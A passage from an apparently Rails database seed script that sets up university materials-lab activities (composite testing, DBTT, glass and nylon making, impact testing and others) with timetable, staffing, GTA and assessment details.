ActivityProgramme.where(activity_id: a441.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a442 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"213\").first_or_create!(name: \"Composite testing\",\n name_abrv: \"COMPTESTING\", archived: false, in_drive: false, user_id: 4)\n at442 = ActivityTimetable.where(activity_id: a442.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a442.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a442.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a442.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a442.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a442.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a443 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"214\").first_or_create!(name: \"Concrete Making and Testing\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 1)\n at443 = ActivityTimetable.where(activity_id: a443.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a443.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a443.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a443.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a443.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a443.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a444 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode9\").first_or_create!(name: \"Danger Lab\",\n name_abrv: \"DANGER\", archived: false, in_drive: false, user_id: 1)\n at444 = ActivityTimetable.where(activity_id: a444.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a444.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a444.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a444.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a444.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a445 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at445 = ActivityTimetable.where(activity_id: a445.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"This is usually run in during the autumn exam period as the GEE students don't have exams, however must avoid exam week 2 due to FCE1001\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a445.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a445.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a445.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a445.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a445.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a446 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at446 = ActivityTimetable.where(activity_id: a446.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a446.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a446.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a446.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a446.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a446.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a447 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at447 = ActivityTimetable.where(activity_id: a447.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a447.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a447.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a447.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a447.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a447.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a448 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 4)\n at448 = ActivityTimetable.where(activity_id: a448.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a448.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a448.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a448.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a448.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a448.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a449 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 1)\n at449 = ActivityTimetable.where(activity_id: a449.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a449.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a449.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a449.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a449.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a449.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a450 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC207\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at450 = ActivityTimetable.where(activity_id: a450.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a450.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a450.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a450.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a450.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a450.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a451 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 4)\n at451 = ActivityTimetable.where(activity_id: a451.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a451.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a451.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a451.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a451.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a451.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a452 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at452 = ActivityTimetable.where(activity_id: a452.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a452.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a452.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a452.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a452.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a452.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a453 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 3)\n at453 = ActivityTimetable.where(activity_id: a453.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a453.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a453.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a453.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a453.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a453.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a454 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"219\").first_or_create!(name: \"Gas Laws\",\n name_abrv: \"GASLAWS\", archived: false, in_drive: false, user_id: 5)\n at454 = ActivityTimetable.where(activity_id: a454.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a454.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a454.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To apply fundamental gas properties such as Gay-Lussac’s law (or Charles’s law).\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a454.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a454.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a454.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a455 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"220\").first_or_create!(name: \"Glass making\",\n name_abrv: \"GLASSMAKING\", archived: false, in_drive: false, user_id: 1)\n at455 = ActivityTimetable.where(activity_id: a455.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a455.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a455.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a455.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a455.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a455.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a456 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"221\").first_or_create!(name: \"Glass testing\",\n name_abrv: \"GLASSTESTING\", archived: false, in_drive: false, user_id: 2)\n at456 = ActivityTimetable.where(activity_id: a456.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a456.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a456.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a456.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a456.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a456.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a457 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 1)\n at457 = ActivityTimetable.where(activity_id: a457.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at457.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a457.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a457.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a457.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a457.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a457.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a458 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at458 = ActivityTimetable.where(activity_id: a458.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at458.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a458.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a458.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a458.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a458.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a458.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a459 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"223\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: false, in_drive: false, user_id: 4)\n at459 = ActivityTimetable.where(activity_id: a459.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a459.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a459.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a459.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a459.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a459.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a460 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 4)\n at460 = ActivityTimetable.where(activity_id: a460.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a460.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", 